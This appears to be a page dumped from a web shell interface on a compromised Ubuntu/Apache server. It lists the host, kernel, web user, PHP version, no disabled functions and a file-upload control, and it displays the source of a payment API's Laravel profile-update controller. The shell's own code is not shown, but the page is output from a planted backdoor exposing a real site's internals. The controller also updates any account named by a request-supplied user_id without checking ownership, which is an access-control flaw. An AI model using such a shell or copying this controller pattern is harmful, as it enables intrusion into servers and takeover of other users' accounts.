GOOD SHELL MAS BOY
Server: Apache/2.4.52 (Ubuntu)
System: Linux vmi1836763.contaboserver.net 5.15.0-130-generic #140-Ubuntu SMP Wed Dec 18 17:59:53 UTC 2024 x86_64
User: www-data (33)
PHP: 8.4.10
Disabled: NONE
Upload Files
File: /var/www/api.vaspayment.com/app/Http/Controllers/Authentication/UpdateProfile.php
<?php

namespace App\Http\Controllers\Authentication;

use App\Http\Controllers\Controller;
use Illuminate\Http\Request;
use App\Models\User;
use Illuminate\Validation\ValidationException;

class UpdateProfile extends Controller
{
    public function updateProfile(Request $request)
    {
        try {
            $validatedData = $request->validate([
                'user_id' => ['required', 'string', 'exists:users,id'],
                'name' => ['required', 'string'],
                'phone' => ['required', 'numeric'],
            ]);
        } catch (ValidationException $e) {
            return response()->json(['error' => $e->errors()], 422);
        }

        try {
            $user = User::find($validatedData['user_id']);
            $user->name = $validatedData['name'];
            if ($request->has('email')) {
                unset($validatedData['email']);
            }
            $user->phone = $validatedData['phone'];
            $user->save();
            return response()->json(['message' => 'Profile updated successfully.'], 200);
        } catch (\Exception $e) {
            return response()->json(['error' => $e->getMessage()], 400);
        }
    }

}